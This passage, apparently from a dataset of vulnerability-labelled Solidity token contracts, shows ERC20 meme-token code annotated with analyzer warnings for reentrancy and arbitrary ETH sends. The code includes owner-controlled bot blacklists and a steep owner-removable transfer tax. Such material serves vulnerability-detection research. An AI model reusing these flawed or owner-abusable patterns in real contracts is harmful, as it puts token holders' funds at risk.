_balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 30f427d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6e67823\n\t\t// reentrancy-events | ID: 30f427d\n\t\t// reentrancy-benign | ID: 5708fdb\n\t\t// reentrancy-eth | ID: 60aa1a9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function manualSend() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n require(contractBalance > 0, \"No ETH available in the contract\");\n\n _taxWallet.transfer(contractBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b053140): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b053140: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6e67823\n\t\t// reentrancy-events | ID: 30f427d\n\t\t// reentrancy-eth | ID: 60aa1a9\n\t\t// arbitrary-send-eth | ID: b053140\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 75f05ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 75f05ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 938c19c): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 938c19c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5b6df58): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5b6df58: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: afc7d29): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for afc7d29: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 75f05ad\n\t\t// reentrancy-eth | ID: afc7d29\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 75f05ad\n\t\t// unused-return | ID: 5b6df58\n\t\t// reentrancy-eth | ID: afc7d29\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 75f05ad\n\t\t// unused-return | ID: 938c19c\n\t\t// reentrancy-eth | ID: afc7d29\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 75f05ad\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: afc7d29\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10772.sol",
"size_bytes": 20653,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ARIGATO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1602578): ARIGATO._taxWallet should be immutable \n\t// Recommendation for 1602578: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e9d0e2): ARIGATO._initialBuyTax should be constant \n\t// Recommendation for 2e9d0e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e682232): ARIGATO._initialSellTax should be constant \n\t// Recommendation for e682232: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 41d5738): ARIGATO._reduceBuyTaxAt should be constant \n\t// Recommendation for 41d5738: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 26a2152): ARIGATO._reduceSellTaxAt should be constant \n\t// Recommendation for 26a2152: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 750767d): ARIGATO._preventSwapBefore should be constant \n\t// Recommendation for 750767d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Domo Arigato\";\n\n string private constant _symbol = unicode\"ARIGATO\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ef5552d): ARIGATO._taxSwapThreshold should be constant \n\t// Recommendation for ef5552d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c940231): ARIGATO._maxTaxSwap should be constant \n\t// Recommendation for c940231: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 15000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 28d66b0): ARIGATO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 28d66b0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 57a1f2b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 57a1f2b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 763e19f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 763e19f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 57a1f2b\n\t\t// reentrancy-benign | ID: 763e19f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 57a1f2b\n\t\t// reentrancy-benign | ID: 763e19f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1db190e): ARIGATO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1db190e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 763e19f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 57a1f2b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4232a4d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4232a4d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ea38bd4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ea38bd4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 4232a4d\n\t\t\t\t// reentrancy-eth | ID: ea38bd4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4232a4d\n\t\t\t\t\t// reentrancy-eth | ID: ea38bd4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ea38bd4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ea38bd4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ea38bd4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4232a4d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ea38bd4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ea38bd4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4232a4d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4232a4d\n\t\t// reentrancy-events | ID: 57a1f2b\n\t\t// reentrancy-benign | ID: 763e19f\n\t\t// reentrancy-eth | ID: ea38bd4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function LimitDone() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 68fc03e): ARIGATO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 68fc03e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4232a4d\n\t\t// reentrancy-events | ID: 57a1f2b\n\t\t// reentrancy-eth | ID: ea38bd4\n\t\t// arbitrary-send-eth | ID: 68fc03e\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unkillBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6d26c37): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6d26c37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b6f7bc2): ARIGATO.TradeOn() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b6f7bc2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9d14c21): ARIGATO.TradeOn() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9d14c21: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 807c47b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 807c47b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function TradeOn() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6d26c37\n\t\t// reentrancy-eth | ID: 807c47b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6d26c37\n\t\t// unused-return | ID: b6f7bc2\n\t\t// reentrancy-eth | ID: 807c47b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6d26c37\n\t\t// unused-return | ID: 9d14c21\n\t\t// reentrancy-eth | ID: 807c47b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 6d26c37\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 807c47b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10773.sol",
"size_bytes": 20176,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, 